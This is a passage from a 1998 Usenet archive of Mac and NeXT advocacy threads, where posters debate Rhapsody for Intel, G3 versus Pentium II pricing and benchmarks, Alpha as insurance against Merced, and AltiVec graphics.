years Apple had a very unique product in the Newton, but the Newton
was priced out of reach for most people (in classic Apple fashion)
and didn't serve the needs of the vast majority of the computing
public. If you have better price/performance for the same level
of useability for the average computer buyer, you've got most of
the problem sussed.
Oh, and you have to _educate_ people about your technology. For
all it's recent moves in the right direction, Apple still hasn't
made the grade in that dept..
----
William Whitehouse whitehou@soltec.net
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sat, 30 May 1998 05:16:24 +1000
Organization: University of Queensland
Message-ID: <6kn19b$n3u$1@bunyip.cc.uq.edu.au>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <joe.ragosta-2905980852240001@wil95.dol.net> <6kmn8i$ccl$1@bunyip.cc.uq.edu.au> <gmgraves-2905981042360001@sf-pm5-11-75.dialup.slip.net>
George Graves wrote in message ...
>In article <6kmn8i$ccl$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>>
>> So that would mean I could overclock the pII to 533 as well (to be fair)
>
>You could, IF you found some way to liquid nitrogen cool the PII and if you
>beefed up the power supply to supply all the current such a 'clocked' PII
>would require (and dissipate as heat).
So the people who have already overclocked pII/400s that high w/o excessive
cooling don't really exist ? pII/400s go to 533 easy if your SDRAM can
handle it - just run your front bus at 133Mhz instead of 100 - 133*4 =
533Mhz. SDRAM that runs stable at these speeds is already available.
Oh I get it, you're thinking of that old demo intel did of the first
generation pIIs - IOW you're FUDding.
>
>George Graves
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 29 May 1998 19:13:34 GMT
Organization: University of California at San Diego
Message-ID: <slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu>
On Fri, 29 May 1998 00:08:08 -0800, Robert Cassidy <rmcassid@uci.edu> wrote:
:PPC has a different role now - as insurance against Intel problems and Merced.
Perhaps. But Alpha serves that role even better, requires far less extra
work by Microsoft, and supports a company with its lips in the permanent
''pucker'' position. (c.f. recent Dilberts)
:Consider that you are Bill Gates. Everything MS does is dependent on Intel
:not screwing up x86 too bad. In the past that hasn't been a problem, but
:now... now things aren't so hot. And Intel has a certain amount of control
:over Alpha now as well.
No, not really---Intel just makes them for Compaq. Compaq has the design,
and presumably could hire anybody with a plant to make them.
:Intel is about to jump to Merced. What if Merced
:doesn't perform well? Or Intel can't get that x86 support running well. Or
:Intel can't push Merced into the range of products that MS wants. Is Bill
:*really* so trusting of Intel to get Merced right that he'll risk the
:whole company on it?
:
:No, if I were Bill, I'd have a team over in a corner somewhere making PPC
:builds of NT5 just for grins.
I would too, if I were Bill, except it would be Alpha and not the PPC.
Alpha serves as Merced-failure-insurance just as well as PPC, is known to
perform very well on most codes, and doesn't promote any potential strategic
headaches.
<EvilBillMode>
Hell, if I were MSFT I would buy into Alpha with Compaq, and threaten Intel
with not porting to Merced in the absence of a Stunningly Huge Cashectomy,
or perhaps more ''reasonable'' $150 fee per Merced CPU sold, which
coincidentally, would also equal the license fee that Intel would have to
pay to build Alphas.
And if Intel complains about "anti-competitive actions", it would be a sight
to see Intel accused being one of those losers "whining" to the government
because its CPU can't beat the Alpha, now wouldn't it??
</EvilBillMode>
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "William Whitehouse" <garyseven@geocities.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Fri, 29 May 1998 14:23:55 -0500
Organization: The Voodoo Assassination Project
Message-ID: <6kn1n9$n5p$1@news10.ispnews.com>
References: <fretwiz-2805981449550001@den-co15-15.ix.netcom.com>
<6kkmb6$bho$1@news.apple.com>
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NNTP-Posting-Date: 29 May 1998 19:19:05 GMT
In article <6kkmb6$bho$1@news.apple.com>, mdadgar@apple.com (Mark Dadgar)
wrote:
>In article <fretwiz-2805981449550001@den-co15-15.ix.netcom.com>
>fretwiz@ix.netcom.com (fretwiz) writes:
>> In article <6kkfan$jot$1@news10.ispnews.com>, "William Whitehouse"
>> <garyseven@geocities.com> wrote:
>> > He prefers a Thinkpad with Openstep, but doesn't see the sense in
>> > committing to Rhapsody for Intel?
>>
>> Probably because Apple gets its revenue from hardware sales, not software.
>
>More to the point, I think, is the fact that Concurrence.app does not run on
>Rhapsody on either platform (and sadly probably never will).
Steve _could_ potentially do something about that. If he can
spend substantial money on developing a lighted mouse, it
doesn't seem that a real product improvement (especially one
he's already sold on) should pose much of a problem for him
either.
----
William Whitehouse whitehou@soltec.net
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 29 May 1998 14:30:15 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kmgpn$cnh$3@ns3.vrx.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net>
<356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com>
<slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu>
<slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Cc: NOSPAMmbkennelNOSPAM@yahoo.com
In <slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> Matt Kennel
claimed:
> I would too, if I were Bill, except it would be Alpha and not the PPC.
Yup.
> Alpha serves as Merced-failure-insurance just as well as PPC, is known to
> perform very well on most codes, and doesn't promote any potential
strategic
> headaches.
More to the point it offers a CLEAR performance jump, the same was less
true for the 604e based NT products, although Moto claimed "double".
Basically if a company _ever_ shipped another binary other than Intel, it was
rather likely (like 99%) to be for Alpha.
Maury
From: "William Whitehouse" <garyseven@geocities.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 29 May 1998 12:25:17 -0500
Organization: The Voodoo Assassination Project
Message-ID: <6kmqoh$cgq$1@news10.ispnews.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com>
<joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net>
<3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com>
<356511FD.BD193ABF@nstar.net> <35651ADA.FEB13B57@nstar.net>
<see-below-2205980229560001@209.24.240.67> <6k3i9g$be9$7@ns3.vrx.net>
<35659602.B924CF86@nstar.net> <6k3piu$ii2$2@ns3.vrx.net>
<3565BDD3.925B8057@nstar.net> <6k44vt$q7t$1@ns3.vrx.net>
<3565EAF0.282C4C33@nstar.net> <6kbd9q$jkc$2@ns3.vrx.net>
<3569969D.5E99D336@nstar.net> <6kbo5o$qt5$2@ns3.vrx.net>
<3569CEFA.836979BC@nstar.net> <6kdarj$fc03@odie.mcleod.net>
<6kk93h$a01$1@news10.ispnews.com> <6kjr5h$9da$1@ns3.vrx.net>
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NNTP-Posting-Date: 29 May 1998 17:20:17 GMT
In article <6kjr5h$9da$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <6kk93h$a01$1@news10.ispnews.com> "William Whitehouse" claimed:
>> had at least an implied amount of IBM motherhood, it was Lotus apps that
>> ruled what PC desktop market there was back then.
>
> More specifically no one company ruled the applications space. WordPerfect
>was the WP (after dispatching WordStar), dBASE the dB, Lotus 123 the
>spreadsheet. There were no real presentation packages (at least not on the
>PC) or outliners or such, although I suppose Harvard Graphics is in there
>somewhere.
Thats true, Lotus wasn't able to parlay its spreadsheet dominance
into other areas via Symphony. However, in the area of mindshare,
there were lot of people betting on Symphony primarily because of
Lotus' success with 123. More evidence against the idea that people
primarily make desktop computer buying decisions based on current
mindshare estimates.
> Now it's different, now it's MS Word, MS Access (and FileMaker Pro) and MS
>Excel.
>
>> Had MS thought then the way you're thinking now, MS would not be even
>> close to being what it is today.
>
> In what respect?
MS wouldn't have been motivated to counter the solid mind/marketshare that
OS/2 enjoyed in the late-80s with Windows 3.0, the solid mind/marketshare
that
Quattro Pro had at the time with Excel, the solid mindshare/overwhelmingly
dominant marketshare that Netware enjoyed with LAN Manager, the solid
mindshare the WP had with Word. To use the better-known examples.
>> And I argued for Windows 3.0 when most of the IT consultants I knew
>> were dogmatically arguing for the continued superiority of the Mac
>platform.
>
> At the time though, it's still true. I never _ever_ remember the Mac being
>taken seriously.
Hm, I recall the Mac was generally seen as the PC of choice. In the
area of networking, as an example, even when AppleShare was far
flakier technology it was still easier (not cheaper) to maintain
than PC LAN technology - for the obvious reasons, some positive, others
negative. Because of Apple's app/OS elitism of the time, many of
my customers were driven to deal with the hassles of setting up and
maintaining Netware or SCO solutions. But when there was a choice
(and money), they generally preferred Macs.
My customers were obviously different from yours.
>> In short, the idea that the dominant solution for the last five years
>> will be the dominant solution five years from now has _never_ carried the
>> day.
>
> Yup. In the same vein, the "big name" products of five years ago are no
>longer. The time seems to be stretching out a bit, but you never see
>articles about "GREAT NEW WORD PRO!" any more, and soon people will forget
>about browsers too.
That's one of the things that frosts me about Steve Jobs - he really seems
to believe that people still consider desktop computer technology as
futuristic, when its about a conventional as you can get. Both MS and IBM
did it better in that regard, they always hyped their products as
conventional solutions for conventional problems, and rarely relied/rely
upon the "wow" factor.
-----
William Whitehouse whitehou@soltec.net
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <see-below-2305981551320001@209.24.241.7> <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE> <35696998.0@nnrp1.news.uk.psi.net> <6kese9$c5r$5@ns3.vrx.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <356d4f71.0@nnrp1.news.uk.psi.net>
Date: 28 May 98 11:50:09 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
>In <35696998.0@nnrp1.news.uk.psi.net> Richard Frith-Macdonald claimed:
>> I don't understand the reasoning that says that Rhapsody should ONLY
>support the
>> 'advanced mac look and feel' and may not have the option of a better UI
>too.
>
> Who says it does? How do you know this isn't a manpower issue. Apple HAS
>to offer a Mac interface on it, everything else is gravy.
I don't know that it isn't a manpower issue - but I have been told that lots
of the stuff which allowed two looks in DR1 has been removed from DR2.
If true - that argues against the manpower thing - it takes manpower to remove
options without breaking things! That's why I think that there must have been
a high-level decision to abolish the NeXT style UI.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 29 May 1998 16:00:24 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6kn44o$as8$1@crib.bevc.blacksburg.va.us>
References: <356573e8.5831486@nntp.atl.mindspring.com> <35696998.0@nnrp1.news.uk.psi.net> <6kese9$c5r$5@ns3.vrx.net> <356d4f71.0@nnrp1.news.uk.psi.net>
In article <356d4f71.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk. (Richard Frith-Macdonald) wrote:
> I don't know that it isn't a manpower issue - but I have been told that lots
> of the stuff which allowed two looks in DR1 has been removed from DR2.
> If true - that argues against the manpower thing - it takes manpower to remove
> options without breaking things! That's why I think that there must have been
> a high-level decision to abolish the NeXT style UI.
Well, consider this: they are adding _new_ UI elements too, and will
add more in the future. They probably are not going to spend the extra
time necessary to give them a NeXT-style look. So if you switch to
NeXT-UI mode, you'll end up with a mish-mash of old NeXT and new Mac
style elements. That sounds even worse than an all-Mac UI (YMMV).
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 20:05:13 GMT
Message-ID: <6kn4dp$npv$1@newsfep4.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
<6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>
<01bd8ac0$3f8b7560$0b0ba8c0@woohoo> <alex-2905981229470001@208.21.174.26>
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Cc: alex@webis.net
In <alex-2905981229470001@208.21.174.26> Alex Kac wrote:
And where in gods name did you get it??!??!??!??!??
If you go to the apple store, that STARTS at over $2100 in the desktop, with
ONLY 32 megs of ram. THEN they ADD tax to it!! DOnt know if they also add
shipping. AND if you want that to be shipped to you with the memory you have,
it is an EXTRA $400, and thats not even for $160 mb of ram, only 128!!
> I don't know why you bother...I got my G3/266 with 160MB of RAM, 4GB EIDE
> HD, built in ZIP for $2000....though true, I already did have my 17'. And
> that includes tax BTW.
>
> And it was brand new. Lifetime warranty on the RAM.
>
>
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 20:18:46 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd8b3e$2b5d2600$c07498cf@edwint.rauland.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com>
macghod@concentric.net wrote in article
<6kf6jk$mcf$1@newsfep2.sprintmail.com>...
> I am looking to buy a computer. It MUST run the best operating system in
the
> world.
> So that narrows things down to a pentium or a g3 mac (or 604e mac). A
233 g3
> is definitely fast enough for me, as is a p2 300. But a g3 233 costs
$1500
> mail order, and this does not even have the tower case that the p2 has.
> Plus, look what one can get for much less: A LOT MORE!!
>
[snip of PC advertisement]
Why don't you advocate the PC in the news groups that are set up for that
purpose? You've made it abundantly clear that you are anti-Mac, so
prefacing your PC advocacy with a phony title isn't fooling anyone.
Are you getting paid to puke out this PC spam?
Edwin
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 20:40:22 GMT
Message-ID: <6kn6fm$npv$4@newsfep4.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <01bd8b3e$2b5d2600$c07498cf@edwint.rauland.com>
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Cc: edwin.thorne@rauland.com
You are without doubt the BIGGEST BABY in this newsgroup.
I post a carefully articulated message with quotes from the apple store to
illustrate the point, and even benchmarks from ADVOCACY JOE"s very own
website, and you have a hissy fit because you cant counter it so you cry and
try to get me to leave.
And, if I was anti mac, why would I care if macs are considerably more
expensive than like speed p2's? I would just go out and buy the p2. I
obviously have some affection for the mac.
> > I am looking to buy a computer. It MUST run the best operating system in
> the
> > world.
> > So that narrows things down to a pentium or a g3 mac (or 604e mac). A
> 233 g3
> > is definitely fast enough for me, as is a p2 300. But a g3 233 costs
> $1500
> > mail order, and this does not even have the tower case that the p2 has.
>
> > Plus, look what one can get for much less: A LOT MORE!!
> >
> [snip of PC advertisement]
>
> Why don't you advocate the PC in the news groups that are set up for that
> purpose? You've made it abundantly clear that you are anti-Mac, so
> prefacing your PC advocacy with a phony title isn't fooling anyone.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 29 May 1998 10:19:54 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6km24a$s3m$3@ns3.vrx.net>
References: <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156>
<6kjhrh$2fh$1@bartlet.df.lth.se> <rex-2805981447420001@192.168.0.3>
<6kkfev$ojb$1@news.cs.tu-berlin.de> <rex-2805981808060001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-2805981808060001@192.168.0.3> Eric King claimed:
> You've hit upon the real underlying issue behind all of this. Apple is
> just not doing a good job of integrating its various graphics
> technologies.
Hear hear.
Maury
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 29 May 1998 08:11:42 -0700
Organization: All USENET -- http://www.Supernews.com
Message-ID: <slrn6mtk1e.2rc.jedi@dementia.mishnet>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu>
On 28 May 1998 18:40:21 -0600, Craig Kelley <ink@inconnu.isu.edu> wrote:
>In article <6kkgk9$2h7$2@gte1.gte.net>, Roger <rfelts@.> wrote:
>
> [ snip about how third-party browsers are not usable due to IE integration ]
>
>->Which functionality is modular, and could be replaced with another
>->.DLL which exposes the same interfaces. Which interfaces are publicly
>->documented.
>
>Too much trouble; see other responses in this thread.
Simply replacing whole applications, is much more
modular and less system specific. The Apps programmer
doesn't have to bother themselves with the details
of the abstraction. The other app can handle all of
that and include as much or as little functionality
(even from DLLs) as may be wanted.
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Sat, 30 May 1998 02:24:56 +1000
Organization: University of Queensland
Message-ID: <6kmn8i$ccl$1@bunyip.cc.uq.edu.au>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <joe.ragosta-2905980852240001@wil95.dol.net>
Joe Ragosta wrote in message ...
>In article <6kkitl$elu$1@nargun.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>> George Graves wrote in message ...
>> >In article <6kiqjf$q38$1@nargun.cc.uq.edu.au>, "Christopher Smith"
>> ><drsmithy@usa.net> wrote:
>> >
>> >>
>> >> So where can I buy a 300Mhz G3 for $1600 ?
>> >
>> >Club Mac
>> >
>> >233MHz G3 desktop machine. 32 Megs of RAM (and your choice of either
>> another
>> >32 megs of RAM or VPC w Win95 for free), 24X CDROM, 4 GB. -$1599
>> >This machine also comes bundled with either HomePage 3.0 or Object
Dancer,
>> >whichever you prefer. $1899 buys you the same package with a 266 MHz G3
>> >1-800-260-5109
>>
>> Ok George, I'll say it again *really* slowly so you don't miss it:
>> "Where can I buy a *300Mhz* G3 for $1600" (so as to be faster than a
400Mhz
>> pII).
>
>Overclock your G3/233???
So that would mean I could overclock the pII to 533 as well (to be fair).
That'd be requiring about a G3/350 or 400 to match it.
>
>--
>Regards,
>Joe Ragosta
>http://www.dol.net/~Ragosta/complmac.htm
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 29 May 1998 09:29:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1943079-ED44D@206.165.43.122>
References: <6km24a$s3m$3@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <rex-2805981808060001@192.168.0.3> Eric King claimed:
>> You've hit upon the real underlying issue behind all of this. Apple
is
>> just not doing a good job of integrating its various graphics
>> technologies.
>
> Hear hear.
They'd made a start with GX and QD3D. You can render QD3D into a GX
viewport and there are library routines to convert GX text into QD3D NURBS
for further processing.
No doubt the YB will have similar capabilities, BUT...
will they even be as good as what GX offers?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 17:00:01 GMT
Message-ID: <6kmpih$hp6$1@newsfep4.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
<6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>
<6kkj6t$9l7$1@nargun.cc.uq.edu.au> <cirby-2805981808500001@pm61-24.magicnet.net>
<6kkq5b$qkd$1@newsfep1.sprintmail.com> <joe.ragosta-2905980847510001@wil95.dol.net>
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Cc: joe.ragosta@dol.net
In <joe.ragosta-2905980847510001@wil95.dol.net> Joe Ragosta wrote:
> In article <6kkq5b$qkd$1@newsfep1.sprintmail.com>, macghod@concentric.net
wrote:
>
> > In <cirby-2805981808500001@pm61-24.magicnet.net> Chad Irby wrote:
> > > "Christopher Smith" <drsmithy@usa.net> wrote:
> > >
> > > > And a 233Mhz G3 is nowhere near as fast as a 400Mhz pII.
> > >
> > > Actually, it *is* pretty much "near as fast" as a 400 MHz PII,
especially
> > > when running things like Photoshop...
> >
> > On Joe ragosta's page, their is a test with 4 benchmarks for photoshop.
> > It tests a p2 300 and g3 266. The g3 ISNT even noticibly faster, just
about
> > %10.
> > And that isnt a even a p2 400 or g3 233
>
> Of course, you ignored the other 3 or 4 Photoshop benchmarks--including PC
> Magazine where a G3/300 is 46% faster than a PII/400.
How does that show that a g3/233 is faster than a p2 300??
Using YOUR pages photoshop tests, 3/4 of the filters were ONLY about %10
faster than a p2 300, and that wasnt even a g3 233, it was a g3 266!!!!!!!!!
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Fri, 29 May 1998 10:48:22 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2905981048220001@sf-pm5-11-75.dialup.slip.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <01bd8ac0$3f8b7560$0b0ba8c0@woohoo>
In article <01bd8ac0$3f8b7560$0b0ba8c0@woohoo>, "Earl Malmrose"
<malmrose@nospam.jetcity.com> wrote:
> George Graves <gmgraves@slip.net> wrote in article
> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>...
> >
> > G3 233MHz, 64 MB RAM, 4 GB, 24XCD = $1599
> > Cheap 400 MHz PII @ $2300
>
> Cheap, as in inexpensive. I think I'm going to get one of these:
>
> Gateway
> PII-400
> 17" monitor
> 4MB 3D AGP video card
> 64 MB ram
> 5 GB hd
> 32x cd
> x2 modem
> 10/100 ethernet
> sound card, speakers, mouse, keyboard
> $2254
You don't have a monitor already? How do you read e-mail and
newsgroups? You do? well, buy this and you'll have two. I don't
know what you've got now, but that 17" is most likely a .28
dot pitch. I wouldn't give one to my cockatiel to shit on!
Now, if they could sell it without all the crap, it probably
would be a pretty good deal.
George Graves
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 29 May 1998 10:17:47 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6km20b$s3m$2@ns3.vrx.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg>
<6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com>
<6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net>
<6kgapb$a5t$1@news.digifix.com> <356C6096.497E4DBD@nstar.net>
<6khtaq$ril$1@news.digifix.com> <rmcassid-2705981426480001@dante.eng.uci.edu>
<6kilej$7a6$1@news.digifix.com> <rmcassid-2705982324230001@dialin33411.slip.uci.edu>
<6klbtk$6iq$1@news.digifix.com>
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Cc: sanguish@digifix.com
In <6klbtk$6iq$1@news.digifix.com> Scott Anguish claimed:
> Because they have to make special ROMs for a small market
> (Apple)
Typically the driver isn't really on the card, or some terribly simple one
is. Instead there's a "pointer" to a soft-load driver.
> Then how do you know that the cards are still being made with
> the new ROMs?
I'd bet there is this "pointer" at least.
Maury
Date: Thu, 28 May 1998 09:57:09 +0000
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Message-ID: <christian.bau-2805980957090001@christian-mac.isltd.insignia.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37> <356662FD.D56CC983@nstar.net> <rmcassid-2305980010180001@dialin9223.slip.uci.edu> <3566CEAC.EC53C221@nstar.net> <rmcassid-2505982311390001@dialin9062.slip.uci.edu> <356AD3B0.5FA67D27@nstar.net>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <356AD3B0.5FA67D27@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Your statement above says "...AltiVec should deliver competitive 3D."
> That's a bold statement, considering the PC 3D market.
It is not so bold when you look at the AltiVec instruction set. If you
consider cost/performance ratio (once you have an AltiVec processor, the
3D graphics is free) it looks very competitive.
>> Well, a single Intel i740 3D chip is something like $50, I think. A
> single 300 MHz AltiVec G4 CPU would be, what? $800?
Altivec seems to be just one more G3 chip. Go to the Motorola page and
read the Altivec manual very carefully. The changes to the chip are
absolutely minimal. I dont think it will be any more expensive than the
750. And as they wont come this year, I dont think you will ever have one
running at less than 400 MHz.
> Does AltiVec do texture mapping, multitexture, texture blending? Does
> AltiVec have support for geometry setup, alpha blending, bilinear
> filtering, fogging?
Read the Motorola page and look at the instruction set. Of course you wont
find a "fogging" instruction in the instruction set.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 29 May 1998 13:06:56 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kmbtg$9cj$1@ns3.vrx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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In <6kmqoh$cgq$1@news10.ispnews.com> "William Whitehouse" claimed:
> Thats true, Lotus wasn't able to parlay its spreadsheet dominance
> into other areas via Symphony.
Yup.
> However, in the area of mindshare, there were lot of people betting on
> Symphony primarily because of Lotus' success with 123.
I remember quite the opposite too though, I remember direct statements to
the effect that Symphony would never become big because WP was too good
(etc). At the time separate products for separate solutions was seen as
natural and "combined" packages were "underpowered junk". Now this has
pretty much changed 180.
> More evidence against the idea that people primarily make desktop computer
> buying decisions based on current mindshare estimates.
Uhhh, didn't your example suggest they _did_?
> >> Had MS thought then the way you're thinking now, MS would not be even
> >> close to being what it is today.
> >
